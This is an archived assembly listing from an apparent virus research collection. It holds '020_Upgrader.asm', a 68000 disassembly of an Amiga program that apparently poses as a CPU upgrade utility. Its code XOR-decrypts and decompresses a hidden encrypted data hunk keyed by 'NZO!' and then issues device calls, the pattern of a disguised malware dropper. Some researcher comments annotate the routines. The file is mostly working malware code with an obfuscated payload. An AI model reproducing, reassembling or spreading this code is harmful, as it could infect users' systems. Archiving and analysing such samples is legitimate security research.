home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusResearch
/
LisaFuckup20
/
020_Upgrader
/
020_Upgrader.asm
next >
Wrap
Assembly Source File
|
2011-03-04
|
18KB
|
782 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
SECTION S_0,CODE
SECSTRT_0:
BSR.S LAB_0004 ;000: 6128
BRA.S LAB_0007 ;002: 605E
LAB_0000: ;'NZO!'
UNLK A2 ;004: 4E5A
DC.W $4F21 ;006
LAB_0001:
DC.W $0000 ;008
ANDI.B #$00,(A4) ;00A: 02140000
BTST D1,-(A4) ;00E: 0324
LAB_0002:
DC.W $0072 ;010
BCS.S LAB_000A ;012: 6578
MOVEQ #115,D4 ;014: 7873
DC.W $7973 ;016
DC.W $6C69 ;018
BHI.S LAB_0005 ;01A: 622E
DC.W $6C69 ;01C
BHI.S LAB_000B ;01E: 6272
BSR.S LAB_000C ;020: 6172
DC.W $7900 ;022
LAB_0003:
ADDQ #1,D5 ;024: 5245
ADDQ #4,(A0)+ ;026: 5858
DC.W $0000 ;028
LAB_0004:
MOVEM.L D0/A0,-(A7) ;02A: 48E78080 save args
LEA LAB_0000(PC),A0 ;02E: 41FAFFD4 get 'NZO!' msg
BSR LAB_001B ;032: 610001C0 copy 'NZO!' to lab_0023
MOVE.L LAB_0001(PC),D0 ;036: 203AFFD0 get $214
LEA SECSTRT_1,A0 ;03A: 41F9000003FC hunk 2 in a0
LEA SECSTRT_2,A1 ;040: 43F900000610 hunk 3 in a1
BSR LAB_001C ;046: 610001AE
LAB_0005:
LEA SECSTRT_2,A0 ;04A: 41F900000610
CMPI.L #$64435321,(A0) ;050: 0C9064435321
BNE.S LAB_0006 ;056: 6604
BSR LAB_0024 ;058: 61000242
LAB_0006:
MOVEM.L (A7)+,D0/A0 ;05C: 4CDF0101
RTS ;060: 4E75
LAB_0007:
BSR.S LAB_0008 ;062: 6102
RTS ;064: 4E75
LAB_0008:
MOVEM.L D2-D7/A2-A6,-(A7) ;066: 48E73F3E
MOVE.L D0,D2 ;06A: 2400
MOVEA.L A0,A3 ;06C: 2648
MOVEA.L A7,A4 ;06E: 284F
MOVE.L D2,D0 ;070: 2002
ADDQ #7,D0 ;072: 5E40
ANDI.L #$FFFFFFFE,D0 ;074: 0280FFFFFFFE
SUBA.L D0,A7 ;07A: 9FC0
MOVEA.L A7,A2 ;07C: 244F
MOVEA.L A2,A1 ;07E: 224A
MOVE.L A3,D0 ;080: 200B
BEQ.S LAB_000E ;082: 6720
MOVEQ #32,D0 ;084: 7020
MOVEQ #9,D1 ;086: 7209
MOVEQ #10,D2 ;088: 740A
LAB_0009:
MOVE.B (A3)+,D3 ;08A: 161B
LAB_000A:
BEQ.S LAB_000E ;08C: 6716
CMP.B D2,D3 ;08E: B602
BEQ.S LAB_000E ;090: 6712
LAB_000B:
CMP.B D0,D3 ;092: B600
LAB_000C:
BEQ.S LAB_0009 ;094: 67F4
CMP.B D1,D3 ;096: B601
BEQ.S LAB_0009 ;098: 67F0
LAB_000D:
MOVE.B D3,(A1)+ ;09A: 12C3
MOVE.B (A3)+,D3 ;09C: 161B
BEQ.S LAB_000E ;09E: 6704
CMP.B D2,D3 ;0A0: B602
BNE.S LAB_000D ;0A2: 66F6
LAB_000E:
CLR.B (A1) ;0A4: 4211
CMPA.L A1,A2 ;0A6: B5C9
BEQ.S LAB_000F ;0A8: 6708
CMP.B -(A1),D0 ;0AA: B021
BEQ.S LAB_000E ;0AC: 67F6
CMP.B (A1),D1 ;0AE: B211
BEQ.S LAB_000E ;0B0: 67F2
LAB_000F:
MOVEQ #20,D7 ;0B2: 7E14
MOVEA.L (ABSEXECBASE).W,A6 ;0B4: 2C780004
BSR LAB_0016 ;0B8: 610000B0
TST.L D0 ;0BC: 4A80
BEQ LAB_0015 ;0BE: 670000A0
MOVEA.L D0,A5 ;0C2: 2A40
LEA LAB_0003(PC),A1 ;0C4: 43FAFF5E
JSR -390(A6) ;0C8: 4EAEFE7A
TST.L D0 ;0CC: 4A80
BEQ LAB_0014 ;0CE: 6700008C
LEA LAB_0002+1(PC),A1 ;0D2: 43FAFF3D
MOVEQ #0,D0 ;0D6: 7000
JSR -552(A6) ;0D8: 4EAEFDD8
TST.L D0 ;0DC: 4A80
BEQ.S LAB_0014 ;0DE: 677C
MOVE.L D0,D6 ;0E0: 2C00
EXG D6,A6 ;0E2: CD8E
MOVEA.L A5,A0 ;0E4: 204D
SUBA.L A1,A1 ;0E6: 93C9
MOVEQ #0,D0 ;0E8: 7000
JSR -144(A6) ;0EA: 4EAEFF70
BEQ.S LAB_0013 ;0EE: 6766
MOVEA.L A0,A3 ;0F0: 2648
MOVE.L #SECSTRT_2,40(A3) ;0F2: 277C000006100028
MOVE.L A2,44(A3) ;0FA: 274A002C
MOVEQ #2,D0 ;0FE: 7002
MOVEQ #0,D1 ;100: 7200
JSR -162(A6) ;102: 4EAEFF5E
BEQ.S LAB_0012 ;106: 6744
EXG D6,A6 ;108: CD8E
MOVE.L #$02040001,28(A3) ;10A: 277C02040001001C
JSR -132(A6) ;112: 4EAEFF7C
LEA LAB_0003(PC),A1 ;116: 43FAFF0C
JSR -390(A6) ;11A: 4EAEFE7A
MOVE.L D0,D5 ;11E: 2A00
BEQ.S LAB_0010 ;120: 6708
MOVEA.L D0,A0 ;122: 2040
MOVEA.L A3,A1 ;124: 224B
JSR -366(A6) ;126: 4EAEFE92
LAB_0010:
JSR -138(A6) ;12A: 4EAEFF76
TST.L D5 ;12E: 4A85
BEQ.S LAB_0011 ;130: 670E
MOVEA.L A5,A0 ;132: 204D
JSR -384(A6) ;134: 4EAEFE80
MOVEA.L A5,A0 ;138: 204D
JSR -372(A6) ;13A: 4EAEFE8C
MOVEQ #0,D7 ;13E: 7E00
LAB_0011:
EXG D6,A6 ;140: CD8E
MOVEA.L A3,A0 ;142: 204B
MOVEQ #2,D0 ;144: 7002
JSR -156(A6) ;146: 4EAEFF64
EXG D6,A6 ;14A: CD8E
LAB_0012:
EXG D6,A6 ;14C: CD8E
MOVEA.L A3,A0 ;14E: 204B
JSR -150(A6) ;150: 4EAEFF6A
EXG D6,A6 ;154: CD8E
LAB_0013:
MOVEA.L D6,A1 ;156: 2246
JSR -414(A6) ;158: 4EAEFE62
LAB_0014:
MOVEA.L A5,A0 ;15C: 204D
BSR.S LAB_001A ;15E: 6166
LAB_0015:
MOVE.L D7,D0 ;160: 2007
MOVEA.L A4,A7 ;162: 2E4C
MOVEM.L (A7)+,D2-D7/A2-A6 ;164: 4CDF7CFC
RTS ;168: 4E75
LAB_0016:
MOVEM.L D2/A2/A6,-(A7) ;16A: 48E72022
MOVEA.L (ABSEXECBASE).W,A6 ;16E: 2C780004
MOVEQ #-1,D0 ;172: 70FF
JSR -330(A6) ;174: 4EAEFEB6
MOVEQ #-1,D2 ;178: 74FF
CMP.B D0,D2 ;17A: B400
BEQ.S LAB_0018 ;17C: 6740
MOVE.L D0,D2 ;17E: 2400
MOVEQ #34,D0 ;180: 7022
MOVE.L #$00010001,D1 ;182: 223C00010001
JSR -198(A6) ;188: 4EAEFF3A
TST.L D0 ;18C: 4A80
BEQ.S LAB_0017 ;18E: 6728
MOVEA.L D0,A2 ;190: 2440
MOVE.B #$04,8(A2) ;192: 157C00040008
MOVE.B D2,15(A2) ;198: 1542000F
SUBA.L A1,A1 ;19C: 93C9
JSR -294(A6) ;19E: 4EAEFEDA
MOVE.L D0,16(A2) ;1A2: 25400010
LEA 20(A2),A0 ;1A6: 41EA0014
MOVE.L A0,28(A2) ;1AA: 2548001C
LEA 24(A2),A1 ;1AE: 43EA0018
MOVE.L A1,(A0) ;1B2: 2089
MOVE.L A2,D0 ;1B4: 200A
BRA.S LAB_0019 ;1B6: 6008
LAB_0017:
MOVE.L D2,D0 ;1B8: 2002
JSR -336(A6) ;1BA: 4EAEFEB0
LAB_0018:
MOVEQ #0,D0 ;1BE: 7000
LAB_0019:
MOVEM.L (A7)+,D2/A2/A6 ;1C0: 4CDF4404
RTS ;1C4: 4E75
LAB_001A:
MOVEM.L A2/A6,-(A7) ;1C6: 48E70022
MOVEA.L A0,A2 ;1CA: 2448
MOVEA.L (ABSEXECBASE).W,A6 ;1CC: 2C780004
MOVEQ #-1,D0 ;1D0: 70FF
MOVE.B D0,8(A2) ;1D2: 15400008
MOVE.L D0,20(A2) ;1D6: 25400014
MOVEQ #0,D0 ;1DA: 7000
MOVE.B 15(A2),D0 ;1DC: 102A000F
JSR -336(A6) ;1E0: 4EAEFEB0
MOVEA.L A2,A1 ;1E4: 224A
MOVEQ #34,D0 ;1E6: 7022
JSR -210(A6) ;1E8: 4EAEFF2E
MOVEM.L (A7)+,A2/A6 ;1EC: 4CDF4400
RTS ;1F0: 4E75
DC.W $0002 ;1F2
LAB_001B:
BRA.S LAB_001D ;1F4: 6002
LAB_001C:
BRA.S LAB_001E ;1F6: 6016
LAB_001D:
MOVEM.L D0-D7/A0-A6,-(A7) ;1F8: 48E7FFFE
LEA LAB_0023(PC),A4 ;1FC: 49FA009A get data place?
MOVE.B (A0)+,(A4)+ ;200: 18D8 copy 'N' to lab_0023
MOVE.B (A0)+,(A4)+ ;202: 18D8 copy 'Z' to lab_0023+1
MOVE.B (A0)+,(A4)+ ;204: 18D8 copy 'O' to lab_0023+2
MOVE.B (A0)+,(A4)+ ;206: 18D8 copy '!' to lab_0023+3
MOVEM.L (A7)+,D0-D7/A0-A6 ;208: 4CDF7FFF
RTS ;20C: 4E75
LAB_001E:
MOVEM.L D0-D7/A0-A6,-(A7) ;20E: 48E7FFFE
LEA 0(A0,D0.L),A4 ;212: 49F00800 jump to position from start
LEA LAB_0023(PC),A3 ;216: 47FA0080 get NZO msg
MOVEQ #0,D6 ;21A: 7C00
MOVEQ #0,D7 ;21C: 7E00
MOVEQ #0,D1 ;21E: 7200
MOVEQ #0,D2 ;220: 7400
MOVE.B (A3)+,D6 ;222: 1C1B
MOVE.B (A3)+,D1 ;224: 121B
MOVE.B (A3)+,D2 ;226: 141B
MOVE.B (A3)+,D7 ;228: 1E1B
BSR.S LAB_001F ;22A: 6106
MOVEM.L (A7)+,D0-D7/A0-A6 ;22C: 4CDF7FFF
RTS ;230: 4E75
LAB_001F:
MOVEA.L A1,A3 ;232: 2649
MOVEA.L A0,A2 ;234: 2448
BSR.S LAB_0022 ;236: 611E
BSR.S LAB_0020 ;238: 6106
MOVEA.L A3,A1 ;23A: 224B
MOVEA.L A2,A0 ;23C: 204A
RTS ;23E: 4E75
LAB_0020:
CMPA.L A0,A4 ;240: B9C8
BEQ.S LAB_0021 ;242: 6710
MOVE.B (A0)+,D3 ;244: 1618
EOR.B D6,D3 ;246: BD03
EOR.B D1,D3 ;248: B303
EOR.B D2,D3 ;24A: B503
EOR.B D7,D3 ;24C: BF03
MOVE.B D3,(A1)+ ;24E: 12C3
BSR.S LAB_0022 ;250: 6104
BRA.S LAB_0020 ;252: 60EC
LAB_0021:
RTS ;254: 4E75
LAB_0022:
ADD D7,D7 ;256: DE47
ADD D6,D6 ;258: DC46
ADD D2,D1 ;25A: D242
ADD D2,D1 ;25C: D242
SWAP D7 ;25E: 4847
SWAP D6 ;260: 4846
SWAP D2 ;262: 4842
SWAP D1 ;264: 4841
LSL D2,D1 ;266: E569
SWAP D6 ;268: 4846
SWAP D7 ;26A: 4847
ADD D1,D6 ;26C: DC41
ADD D1,D7 ;26E: DE41
ADD D6,D6 ;270: DC46
LSL D2,D6 ;272: E56E
ADD D1,D2 ;274: D441
EXT D1 ;276: 4881
LSL #1,D1 ;278: E349
SWAP D6 ;27A: 4846
SWAP D1 ;27C: 4841
SWAP D2 ;27E: 4842
ROXR.L #3,D6 ;280: E696
ROXR.L #3,D1 ;282: E691
ROXL.L #3,D7 ;284: E797
ROXR.L #3,D2 ;286: E692
NEG D6 ;288: 4446
NEG D1 ;28A: 4441
NEG D2 ;28C: 4442
SWAP D7 ;28E: 4847
SWAP D6 ;290: 4846
SWAP D2 ;292: 4842
SWAP D1 ;294: 4841
RTS ;296: 4E75
LAB_0023:
ORI.B #$00,D0 ;298: 00000000
LAB_0024:
MOVEM.L D2-D5/A2-A4,-(A7) ;29C: 48E73C38
MOVEA.L A0,A3 ;2A0: 2648
MOVEA.L A0,A4 ;2A2: 2848
TST.L (A0)+ ;2A4: 4A98
ADDA.L (A0)+,A4 ;2A6: D9D8
ADDA.L (A0)+,A3 ;2A8: D7D8
MOVEA.L A3,A2 ;2AA: 244B
MOVE.L (A2)+,-(A0) ;2AC: 211A
MOVE.L (A2)+,-(A0) ;2AE: 211A
MOVE.L (A2)+,-(A0) ;2B0: 211A
MOVE.L (A2)+,D2 ;2B2: 241A
MOVE (A2)+,D3 ;2B4: 361A
BMI.S LAB_0025 ;2B6: 6B02
SUBQ.L #1,A3 ;2B8: 538B
LAB_0025:
LEA -28(A7),A7 ;2BA: 4FEFFFE4
MOVEA.L A7,A1 ;2BE: 224F
MOVEQ #6,D0 ;2C0: 7006
LAB_0026:
MOVE.L (A2)+,(A1)+ ;2C2: 22DA
DBF D0,LAB_0026 ;2C4: 51C8FFFC
MOVEA.L A7,A1 ;2C8: 224F
BRA.S LAB_0027 ;2CA: 6004
MOVEQ #0,D0 ;2CC: 7000
RTS ;2CE: 4E75
LAB_0027:
TST.L D2 ;2D0: 4A82
BEQ.S LAB_0029 ;2D2: 6706
LAB_0028:
MOVE.B -(A3),-(A4) ;2D4: 1923
SUBQ.L #1,D2 ;2D6: 5382
BNE.S LAB_0028 ;2D8: 66FA
LAB_0029:
CMPA.L A4,A0 ;2DA: B1CC
BCS.S LAB_002B ;2DC: 6514
LEA 28(A7),A7 ;2DE: 4FEF001C
MOVEQ #-1,D0 ;2E2: 70FF
CMPA.L A3,A0 ;2E4: B1CB
BEQ.S LAB_002A ;2E6: 6702
MOVEQ #0,D0 ;2E8: 7000
LAB_002A:
MOVEM.L (A7)+,D2-D5/A2-A4 ;2EA: 4CDF1C3C
TST.L D0 ;2EE: 4A80
RTS ;2F0: 4E75
LAB_002B:
ADD.B D3,D3 ;2F2: D603
BNE.S LAB_002C ;2F4: 6604
MOVE.B -(A3),D3 ;2F6: 1623
ADDX.B D3,D3 ;2F8: D703
LAB_002C:
BCC.S LAB_0038 ;2FA: 6468
ADD.B D3,D3 ;2FC: D603
BNE.S LAB_002D ;2FE: 6604
MOVE.B -(A3),D3 ;300: 1623
ADDX.B D3,D3 ;302: D703
LAB_002D:
BCC.S LAB_0037 ;304: 6458
ADD.B D3,D3 ;306: D603
BNE.S LAB_002E ;308: 6604
MOVE.B -(A3),D3 ;30A: 1623
ADDX.B D3,D3 ;30C: D703
LAB_002E:
BCC.S LAB_0036 ;30E: 6448
ADD.B D3,D3 ;310: D603
BNE.S LAB_002F ;312: 6604
MOVE.B -(A3),D3 ;314: 1623
ADDX.B D3,D3 ;316: D703
LAB_002F:
BCC.S LAB_0035 ;318: 6438
MOVEQ #0,D4 ;31A: 7800
ADD.B D3,D3 ;31C: D603
BNE.S LAB_0030 ;31E: 6604
MOVE.B -(A3),D3 ;320: 1623
ADDX.B D3,D3 ;322: D703
LAB_0030:
BCC.S LAB_0031 ;324: 6408
MOVE.B -(A3),D4 ;326: 1823
MOVEQ #3,D0 ;328: 7003
SUBQ.B #1,D4 ;32A: 5304
BRA.S LAB_0039 ;32C: 603A
LAB_0031:
ADD.B D3,D3 ;32E: D603
BNE.S LAB_0032 ;330: 6604
MOVE.B -(A3),D3 ;332: 1623
ADDX.B D3,D3 ;334: D703
LAB_0032:
ADDX.B D4,D4 ;336: D904
ADD.B D3,D3 ;338: D603
BNE.S LAB_0033 ;33A: 6604
MOVE.B -(A3),D3 ;33C: 1623
ADDX.B D3,D3 ;33E: D703
LAB_0033:
ADDX.B D4,D4 ;340: D904
ADD.B D3,D3 ;342: D603
BNE.S LAB_0034 ;344: 6604
MOVE.B -(A3),D3 ;346: 1623
ADDX.B D3,D3 ;348: D703
LAB_0034:
ADDX.B D4,D4 ;34A: D904
ADDQ.B #5,D4 ;34C: 5A04
MOVEQ #3,D0 ;34E: 7003
BRA.S LAB_0039 ;350: 6016
LAB_0035:
MOVEQ #4,D4 ;352: 7804
MOVEQ #3,D0 ;354: 7003
BRA.S LAB_0039 ;356: 6010
LAB_0036:
MOVEQ #3,D4 ;358: 7803
MOVEQ #2,D0 ;35A: 7002
BRA.S LAB_0039 ;35C: 600A
LAB_0037:
MOVEQ #2,D4 ;35E: 7802
MOVEQ #1,D0 ;360: 7001
BRA.S LAB_0039 ;362: 6004
LAB_0038:
MOVEQ #1,D4 ;364: 7801
MOVEQ #0,D0 ;366: 7000
LAB_0039:
MOVEQ #0,D5 ;368: 7A00
MOVE D0,D1 ;36A: 3200
ADD.B D3,D3 ;36C: D603
BNE.S LAB_003A ;36E: 6604
MOVE.B -(A3),D3 ;370: 1623
ADDX.B D3,D3 ;372: D703
LAB_003A:
BCC.S LAB_003D ;374: 6416
ADD.B D3,D3 ;376: D603
BNE.S LAB_003B ;378: 6604
MOVE.B -(A3),D3 ;37A: 1623
ADDX.B D3,D3 ;37C: D703
LAB_003B:
BCC.S LAB_003C ;37E: 6408
MOVE.B LAB_0047(PC,D0.W),D5 ;380: 1A3B006A
ADDQ.B #8,D0 ;384: 5000
BRA.S LAB_003D ;386: 6004
LAB_003C:
MOVEQ #2,D5 ;388: 7A02
ADDQ.B #4,D0 ;38A: 5800
LAB_003D:
MOVE.B LAB_0048(PC,D0.W),D0 ;38C: 103B0062
LAB_003E:
ADD.B D3,D3 ;390: D603
BNE.S LAB_003F ;392: 6604
MOVE.B -(A3),D3 ;394: 1623
ADDX.B D3,D3 ;396: D703
LAB_003F:
ADDX D2,D2 ;398: D542
SUBQ.B #1,D0 ;39A: 5300
BNE.S LAB_003E ;39C: 66F2
ADD D5,D2 ;39E: D445
MOVEQ #0,D5 ;3A0: 7A00
MOVEA.L D5,A2 ;3A2: 2445
MOVE D1,D0 ;3A4: 3001
ADD.B D3,D3 ;3A6: D603
BNE.S LAB_0040 ;3A8: 6604
MOVE.B -(A3),D3 ;3AA: 1623
ADDX.B D3,D3 ;3AC: D703
LAB_0040:
BCC.S LAB_0043 ;3AE: 641A
ADD D1,D1 ;3B0: D241
ADD.B D3,D3 ;3B2: D603
BNE.S LAB_0041 ;3B4: 6604
MOVE.B -(A3),D3 ;3B6: 1623
ADDX.B D3,D3 ;3B8: D703
LAB_0041:
BCC.S LAB_0042 ;3BA: 6408
MOVEA 8(A1,D1.W),A2 ;3BC: 34711008
ADDQ.B #8,D0 ;3C0: 5000
BRA.S LAB_0043 ;3C2: 6006
LAB_0042:
MOVEA 0(A1,D1.W),A2 ;3C4: 34711000
ADDQ.B #4,D0 ;3C8: 5800
LAB_0043:
MOVE.B 16(A1,D0.W),D0 ;3CA: 10310010
LAB_0044:
ADD.B D3,D3 ;3CE: D603
BNE.S LAB_0045 ;3D0: 6604
MOVE.B -(A3),D3 ;3D2: 1623
ADDX.B D3,D3 ;3D4: D703
LAB_0045:
ADDX.L D5,D5 ;3D6: DB85
SUBQ.B #1,D0 ;3D8: 5300
BNE.S LAB_0044 ;3DA: 66F2
ADDQ #1,A2 ;3DC: 524A
ADDA.L D5,A2 ;3DE: D5C5
ADDA.L A4,A2 ;3E0: D5CC
LAB_0046:
MOVE.B -(A2),-(A4) ;3E2: 1922
DBF D4,LAB_0046 ;3E4: 51CCFFFC
BRA LAB_0027 ;3E8: 6000FEE6
LAB_0047:
DC.W $060A ;3EC
DC.W $0A12 ;3EE
LAB_0048:
BTST D0,D1 ;3F0: 0101
BTST D0,D1 ;3F2: 0101
DC.W $0203 ;3F4
BTST D1,D4 ;3F6: 0304
DC.W $0405 ;3F8
DC.W $070E ;3FA
SECTION S_1,DATA
SECSTRT_1:
DC.W $433D ;3FC
DC.W $5387 ;3FE
DC.W $101A ;400
DC.W $B881 ;402
DC.W $A412 ;404
DC.W $E9DF ;406
DC.W $E0CD ;408
DC.W $B4B3 ;40A
DC.W $2BFC ;40C
DC.W $DDFA ;40E
DC.W $E473 ;410
DC.W $B00B ;412
DC.W $8BC6 ;414
DC.W $BB42 ;416
DC.W $966D ;418
DC.W $5C5C ;41A
DC.W $64B2 ;41C
DC.W $CB61 ;41E
DC.W $C95C ;420
DC.W $E66A ;422
DC.W $0387 ;424
DC.W $042B ;426
DC.W $E4BE ;428
DC.W $D0A7 ;42A
DC.W $64E3 ;42C
DC.W $F0A4 ;42E
DC.W $7492 ;430
DC.W $0A87 ;432
DC.W $6320 ;434
DC.W $BE58 ;436
DC.W $C18F ;438
DC.W $C7E5 ;43A
DC.W $DD23 ;43C
DC.W $F6DB ;43E
DC.W $8984 ;440
DC.W $A5AE ;442
DC.W $EA3B ;444
DC.W $B3E7 ;446
DC.W $D0AA ;448
DC.W $89BD ;44A
DC.W $8831 ;44C
DC.W $F6E4 ;44E
DC.W $FD63 ;450
DC.W $292B ;452
DC.W $FB5A ;454
DC.W $FFA5 ;456
DC.W $17FD ;458
DC.W $AF39 ;45A
DC.W $513E ;45C
DC.W $BD6E ;45E
DC.W $EA30 ;460
DC.W $8E0F ;462
DC.W $A317 ;464
DC.W $F1F5 ;466
DC.W $5FF2 ;468
DC.W $1092 ;46A
DC.W $A2D6 ;46C
DC.W $2C48 ;46E
DC.W $4C0E ;470
DC.W $83D1 ;472
DC.W $6912 ;474
DC.W $6794 ;476
DC.W $0B4D ;478
DC.W $5D3E ;47A
DC.W $DE9D ;47C
DC.W $A805 ;47E
DC.W $602A ;480
DC.W $0107 ;482
DC.W $C165 ;484
DC.W $49DB ;486
DC.W $834A ;488
DC.W $844B ;48A
DC.W $D184 ;48C
DC.W $9050 ;48E
DC.W $11CE ;490
DC.W $1307 ;492
DC.W $1872 ;494
DC.W $9056 ;496
DC.W $2F82 ;498
DC.W $C1F8 ;49A
DC.W $EFE9 ;49C
DC.W $CF5E ;49E
DC.W $2825 ;4A0
DC.W $57B9 ;4A2
DC.W $DC3C ;4A4
DC.W $7809 ;4A6
DC.W $A620 ;4A8
DC.W $DF3E ;4AA
DC.W $6F82 ;4AC
DC.W $FE73 ;4AE
DC.W $C37C ;4B0
DC.W $2A94 ;4B2
DC.W $F03E ;4B4
DC.W $66A7 ;4B6
DC.W $9122 ;4B8
DC.W $3104 ;4BA
DC.W $A227 ;4BC
DC.W $61B7 ;4BE
DC.W $964D ;4C0
DC.W $DE5C ;4C2
DC.W $5F36 ;4C4
DC.W $702A ;4C6
DC.W $4E90 ;4C8
DC.W $0D38 ;4CA
DC.W $2B1E ;4CC
DC.W $8102 ;4CE
DC.W $26BE ;4D0
DC.W $D0E9 ;4D2
DC.W $5E59 ;4D4
DC.W $8B06 ;4D6
DC.W $FC32 ;4D8
DC.W $8C20 ;4DA
DC.W $DD88 ;4DC
DC.W $3DFE ;4DE
DC.W $731B ;4E0
DC.W $DBAF ;4E2
DC.W $FBEE ;4E4
DC.W $8B14 ;4E6
DC.W $8EF1 ;4E8
DC.W $A2C5 ;4EA
DC.W $B8CC ;4EC
DC.W $CC6A ;4EE
DC.W $E0CA ;4F0
DC.W $F2A0 ;4F2
DC.W $7288 ;4F4
DC.W $FE90 ;4F6
DC.W $2CD0 ;4F8
DC.W $87A9 ;4FA
DC.W $9995 ;4FC
DC.W $DAE5 ;4FE
DC.W $2C82 ;500
DC.W $D4AA ;502
DC.W $E189 ;504
DC.W $D129 ;506
DC.W $C6F5 ;508
DC.W $D909 ;50A
DC.W $A3BA ;50C
DC.W $E28D ;50E
DC.W $615F ;510
DC.W $9CC1 ;512
DC.W $1DDA ;514
DC.W $9F59 ;516
DC.W $0CB0 ;518
DC.W $B9FA ;51A
DC.W $9443 ;51C
DC.W $35E3 ;51E
DC.W $BF28 ;520
DC.W $B5D1 ;522
DC.W $A3BD ;524
DC.W $432E ;526
DC.W $AD50 ;528
DC.W $86C1 ;52A
DC.W $BC71 ;52C
DC.W $1656 ;52E
DC.W $029A ;530
DC.W $B0FF ;532
DC.W $A06D ;534
DC.W $0B50 ;536
DC.W $8335 ;538
DC.W $BE0A ;53A
DC.W $E2C8 ;53C
DC.W $FDB3 ;53E
DC.W $F30C ;540
DC.W $560D ;542
DC.W $893C ;544
DC.W $1255 ;546
DC.W $BC71 ;548
DC.W $726A ;54A
DC.W $F9B5 ;54C
DC.W $92B4 ;54E
DC.W $488C ;550
DC.W $53DB ;552
DC.W $CE87 ;554
DC.W $48B9 ;556
DC.W $CCE8 ;558
DC.W $4F2A ;55A
DC.W $B36F ;55C
DC.W $2E87 ;55E
DC.W $5DFC ;560
DC.W $DC0E ;562
DC.W $FBA4 ;564
DC.W $7C6A ;566
DC.W $05CA ;568
DC.W $5CD3 ;56A
DC.W $24BA ;56C
DC.W $98AD ;56E
DC.W $4BF2 ;570
DC.W $9947 ;572
DC.W $4DC7 ;574
DC.W $8F9A ;576
DC.W $48CC ;578
DC.W $3F8F ;57A
DC.W $6BA3 ;57C
DC.W $44E8 ;57E
DC.W $9563 ;580
DC.W $E2C6 ;582
DC.W $49EE ;584
DC.W $DB3C ;586
DC.W $F3B8 ;588
DC.W $0D3D ;58A
DC.W $D3FE ;58C
DC.W $3AA7 ;58E
DC.W $5F89 ;590
DC.W $CA48 ;592
DC.W $5C63 ;594
DC.W $64AE ;596
DC.W $7D66 ;598
DC.W $D6A3 ;59A
DC.W $1670 ;59C
DC.W $0423 ;59E
DC.W $125E ;5A0
DC.W $3A77 ;5A2
DC.W $1E83 ;5A4
DC.W $FD28 ;5A6
DC.W $7DEC ;5A8
DC.W $A20C ;5AA
DC.W $BD0C ;5AC
DC.W $8518 ;5AE
DC.W $273A ;5B0
DC.W $1B7E ;5B2
DC.W $24D7 ;5B4
DC.W $893D ;5B6
DC.W $A1B5 ;5B8
DC.W $6A59 ;5BA
DC.W $3862 ;5BC
DC.W $1EED ;5BE
DC.W $9952 ;5C0
DC.W $9BC0 ;5C2
DC.W $7E5F ;5C4
DC.W $AB9F ;5C6
DC.W $BDD9 ;5C8
DC.W $1FCA ;5CA
DC.W $8C08 ;5CC
DC.W $C4A6 ;5CE
DC.W $168B ;5D0
DC.W $F15D ;5D2
DC.W $CFB7 ;5D4
DC.W $2AAF ;5D6
DC.W $A592 ;5D8
DC.W $9C3A ;5DA
DC.W $7D76 ;5DC
DC.W $CB4B ;5DE
DC.W $D64E ;5E0
DC.W $84C1 ;5E2
DC.W $AF40 ;5E4
DC.W $239E ;5E6
DC.W $42FA ;5E8
DC.W $7A5D ;5EA
DC.W $387F ;5EC
DC.W $2602 ;5EE
DC.W $D085 ;5F0
DC.W $90AA ;5F2
DC.W $7B28 ;5F4
DC.W $86A3 ;5F6
DC.W $58E3 ;5F8
DC.W $3A2E ;5FA
DC.W $E5B3 ;5FC
DC.W $2D36 ;5FE
DC.W $A624 ;600
DC.W $CD3D ;602
DC.W $ED00 ;604
DC.W $C514 ;606
DC.W $FA1C ;608
DC.W $47ED ;60A
DC.W $A7B4 ;60C
DC.W $7754 ;60E
SECTION S_2,BSS
SECSTRT_2:
DS.L 201 ;610
END